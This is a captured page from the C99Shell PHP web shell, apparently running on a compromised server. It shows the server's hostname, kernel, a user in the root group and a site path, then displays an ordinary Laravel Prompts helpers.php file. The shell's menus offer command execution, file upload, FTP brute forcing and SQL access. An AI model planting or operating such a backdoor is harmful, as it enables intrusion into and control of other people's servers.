!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/laravel/prompts/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     helpers.php (7.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Prompts;

use 
Closure;
use 
Illuminate\Support\Collection;

if (! 
function_exists('\Laravel\Prompts\text')) {
    
/**
     * Prompt the user for text input.
     */
    
function text(string $labelstring $placeholder ''string $default ''bool|string $required falsemixed $validate nullstring $hint '', ?Closure $transform null): string
    
{
        return (new 
TextPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\textarea')) {
    
/**
     * Prompt the user for multiline text input.
     */
    
function textarea(string $labelstring $placeholder ''string $default ''bool|string $required falsemixed $validate nullstring $hint ''int $rows 5, ?Closure $transform null): string
    
{
        return (new 
TextareaPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\password')) {
    
/**
     * Prompt the user for input, hiding the value.
     */
    
function password(string $labelstring $placeholder ''bool|string $required falsemixed $validate nullstring $hint '', ?Closure $transform null): string
    
{
        return (new 
PasswordPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\select')) {
    
/**
     * Prompt the user to select an option.
     *
     * @param  array<int|string, string>|Collection<int|string, string>  $options
     * @param  true|string  $required
     */
    
function select(string $label, array|Collection $optionsint|string|null $default nullint $scroll 5mixed $validate nullstring $hint ''bool|string $required true, ?Closure $transform null): int|string
    
{
        return (new 
SelectPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\multiselect')) {
    
/**
     * Prompt the user to select multiple options.
     *
     * @param  array<int|string, string>|Collection<int|string, string>  $options
     * @param  array<int|string>|Collection<int, int|string>  $default
     * @return array<int|string>
     */
    
function multiselect(string $label, array|Collection $options, array|Collection $default = [], int $scroll 5bool|string $required falsemixed $validate nullstring $hint 'Use the space bar to select options.', ?Closure $transform null): array
    {
        return (new 
MultiSelectPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\confirm')) {
    
/**
     * Prompt the user to confirm an action.
     */
    
function confirm(string $labelbool $default truestring $yes 'Yes'string $no 'No'bool|string $required falsemixed $validate nullstring $hint '', ?Closure $transform null): bool
    
{
        return (new 
ConfirmPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\pause')) {
    
/**
     * Prompt the user to continue or cancel after pausing.
     */
    
function pause(string $message 'Press enter to continue...'): bool
    
{
        return (new 
PausePrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\suggest')) {
    
/**
     * Prompt the user for text input with auto-completion.
     *
     * @param  array<string>|Collection<int, string>|Closure(string): array<string>  $options
     */
    
function suggest(string $label, array|Collection|Closure $optionsstring $placeholder ''string $default ''int $scroll 5bool|string $required falsemixed $validate nullstring $hint '', ?Closure $transform null): string
    
{
        return (new 
SuggestPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\search')) {
    
/**
     * Allow the user to search for an option.
     *
     * @param  Closure(string): array<int|string, string>  $options
     * @param  true|string  $required
     */
    
function search(string $labelClosure $optionsstring $placeholder ''int $scroll 5mixed $validate nullstring $hint ''bool|string $required true, ?Closure $transform null): int|string
    
{
        return (new 
SearchPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\multisearch')) {
    
/**
     * Allow the user to search for multiple option.
     *
     * @param  Closure(string): array<int|string, string>  $options
     * @return array<int|string>
     */
    
function multisearch(string $labelClosure $optionsstring $placeholder ''int $scroll 5bool|string $required falsemixed $validate nullstring $hint 'Use the space bar to select options.', ?Closure $transform null): array
    {
        return (new 
MultiSearchPrompt(...func_get_args()))->prompt();
    }
}

if (! 
function_exists('\Laravel\Prompts\spin')) {
    
/**
     * Render a spinner while the given callback is executing.
     *
     * @template TReturn of mixed
     *
     * @param  \Closure(): TReturn  $callback
     * @return TReturn
     */
    
function spin(Closure $callbackstring $message ''): mixed
    
{
        return (new 
Spinner($message))->spin($callback);
    }
}

if (! 
function_exists('\Laravel\Prompts\note')) {
    
/**
     * Display a note.
     */
    
function note(string $message, ?string $type null): void
    
{
        (new 
Note($message$type))->display();
    }
}

if (! 
function_exists('\Laravel\Prompts\error')) {
    
/**
     * Display an error.
     */
    
function error(string $message): void
    
{
        (new 
Note($message'error'))->display();
    }
}

if (! 
function_exists('\Laravel\Prompts\warning')) {
    
/**
     * Display a warning.
     */
    
function warning(string $message): void
    
{
        (new 
Note($message'warning'))->display();
    }
}

if (! 
function_exists('\Laravel\Prompts\alert')) {
    
/**
     * Display an alert.
     */
    
function alert(string $message): void
    
{
        (new 
Note($message'alert'))->display();
    }
}

if (! 
function_exists('\Laravel\Prompts\info')) {
    
/**
     * Display an informational message.
     */
    
function info(string $message): void
    
{
        (new 
Note($message'info'))->display();
    }
}

if (! 
function_exists('\Laravel\Prompts\intro')) {
    
/**
     * Display an introduction.
     */
    
function intro(string $message): void
    
{
        (new 
Note($message'intro'))->display();
    }
}

if (! 
function_exists('\Laravel\Prompts\outro')) {
    
/**
     * Display a closing message.
     */
    
function outro(string $message): void
    
{
        (new 
Note($message'outro'))->display();
    }
}

if (! 
function_exists('\Laravel\Prompts\table')) {
    
/**
     * Display a table.
     *
     * @param  array<int, string|array<int, string>>|Collection<int, string|array<int, string>>  $headers
     * @param  array<int, array<int, string>>|Collection<int, array<int, string>>  $rows
     */
    
function table(array|Collection $headers = [], array|Collection|null $rows null): void
    
{
        (new 
Table($headers$rows))->display();
    }
}

if (! 
function_exists('\Laravel\Prompts\progress')) {
    
/**
     * Display a progress bar.
     *
     * @template TSteps of iterable<mixed>|int
     * @template TReturn
     *
     * @param  TSteps  $steps
     * @param  ?Closure((TSteps is int ? int : value-of<TSteps>), Progress<TSteps>): TReturn  $callback
     * @return ($callback is null ? Progress<TSteps> : array<TReturn>)
     */
    
function progress(string $labeliterable|int $steps, ?Closure $callback nullstring $hint ''): array|Progress
    
{
        
$progress = new Progress($label$steps$hint);

        if (
$callback !== null) {
            return 
$progress->map($callback);
        }

        return 
$progress;
    }
}

if (! 
function_exists('\Laravel\Prompts\form')) {
    function 
form(): FormBuilder
    
{
        return new 
FormBuilder;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--